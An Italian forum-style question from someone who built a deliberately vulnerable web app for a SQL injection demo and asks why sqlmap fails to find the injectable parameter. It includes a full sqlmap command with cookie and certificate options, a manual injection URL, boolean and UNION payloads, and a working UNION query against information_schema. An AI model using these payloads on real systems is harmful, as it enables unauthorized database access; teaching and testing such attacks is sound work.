Ho creato un'applicazione Web vulnerabile per dimostrare l'iniezione SQL. Voglio mostrare sia l'iniezione manuale che l'iniezione automatizzata. L'iniezione richiede a) all'utente di accedere (cookie di sessione), b) un certificato SSL dell'utente ec) un PREFISSO.
Il mio comando è:
python ./sqlmap.py --auth-file ~/welcomecert.p12 -u "http://komodobank.com/index.php?profile=adminsnowball" -p profile --cookie="PHPSESSID=sp1222aplv64fok7pa7voe447" --prefix="adminsnowball'" -v 3 --dbms mysql --level 5 --risk 3 --union-cols 10-16
Posso vedere che SQLmap sta funzionando, ma non trova mai il campo da iniettare.
Un'iniezione manuale come questa funziona:
http://vulnapp.com/index.php?profile=admin' or '1'='1
Le cose che potrebbero causare l'errore di SQLmap:
- Il messaggio di errore restituito è un messaggio di errore personalizzato, non un messaggio di errore MySQL.
- Il prefisso del profilo deve essere il nome utente registrato.
- Il
UNION
non sta testando abbastanza campi possibilmente - Non sta testando le stringhe ma solo gli interi (ad esempio
AND 3347=7762
e nonAND '3347'='7762
- Il test
AND
e nonOR
(non riesco a vedere nessunOR
s testato) - La richiesta http
GET
viene quindi passata a JS quale ajax per i dati dal server. Forse la risposta è stata persa in SQLmap?
Di seguito sono elencate alcune query che possono essere testate, ma apparentemente falliscono tutte.
[PAYLOAD] admin' AND 3115=1602 AND (3320=3320
[PAYLOAD] admin' AND 5213=5213 AND (8263=8263
[PAYLOAD] admin' AND 3347=7762
[PAYLOAD] admin' AND 5213=5213
[PAYLOAD] admin' ORDER BY 1--
[PAYLOAD] admin' ORDER BY 3421--
[PAYLOAD] admin' UNION ALL SELECT NULL--
[PAYLOAD] admin' UNION ALL SELECT NULL,NULL--
[PAYLOAD] admin' UNION ALL SELECT NULL,NULL,NULL--
[PAYLOAD] admin' UNION ALL SELECT NULL,NULL,NULL,NULL--
EDIT: questa query funziona anche manualmente:
' union select table_name,2,3,4,5,6,7,8,9,10,11,12 from information_schema.tables where 'x'='x
Tuttavia, SQLmap non sembra testare unioni del genere.